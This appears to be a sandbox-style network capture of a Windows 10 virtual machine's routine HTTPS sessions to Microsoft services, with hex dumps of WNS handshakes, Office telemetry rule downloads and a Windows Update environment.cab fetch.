2024-12-08 14:38:20 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:38:20 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4a 5a 7a 77 67 57 65 45 77 45 2b 51 57 58 53 79 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 39 37 31 61 66 31 37 39 35 61 34 65 61 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: JZzwgWeEwE+QWXSy.2Context: 3c971af1795a4ea0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:38:20 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4a 5a 7a 77 67 57 65 45 77 45 2b 51 57 58 53 79 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 39 37 31 61 66 31 37 39 35 61 34 65 61 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: JZzwgWeEwE+QWXSy.3Context: 3c971af1795a4ea0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 14:38:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 2f 4c 71 4c 64 52 59 67 55 43 6c 6f 4f 34 6d 5a 42 50 31 66 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3/LqLdRYgUCloO4mZBP1fg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143821Z-r1cf579d778lntp7hC1EWR9gg4000000055g000000000567 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143821Z-r1cf579d7784wpmvhC1EWRk4cn000000050g000000006e4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143821Z-r1cf579d778lntp7hC1EWR9gg4000000051g000000005n08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143821Z-r1cf579d7784wpmvhC1EWRk4cn0000000530000000003phk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143821Z-r1cf579d778dndrdhC1EWR4b2400000005b000000000265u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49733	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4FVHXPsVhxKz9S8&MD=vks3goxo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-08 14:38:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1fd3c68b-2dfd-4467-9f8a-f8042d7b7c95 MS-RequestId: d7a499cb-c1e2-4e58-895a-ff7ce82491d3 MS-CV: EhtFtMjPIkuahwkW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 08 Dec 2024 14:38:21 GMT Connection: close Content-Length: 24490
2024-12-08 14:38:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-08 14:38:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49749	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-08 14:38:23 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=213062 Date: Sun, 08 Dec 2024 14:38:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143823Z-r1cf579d778dc6d7hC1EWR2vs800000006b0000000002e07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143823Z-r1cf579d7788pwqzhC1EWRrpd800000005yg000000001rfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143823Z-r1cf579d778v97q7hC1EWRf95c000000055g000000007y5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 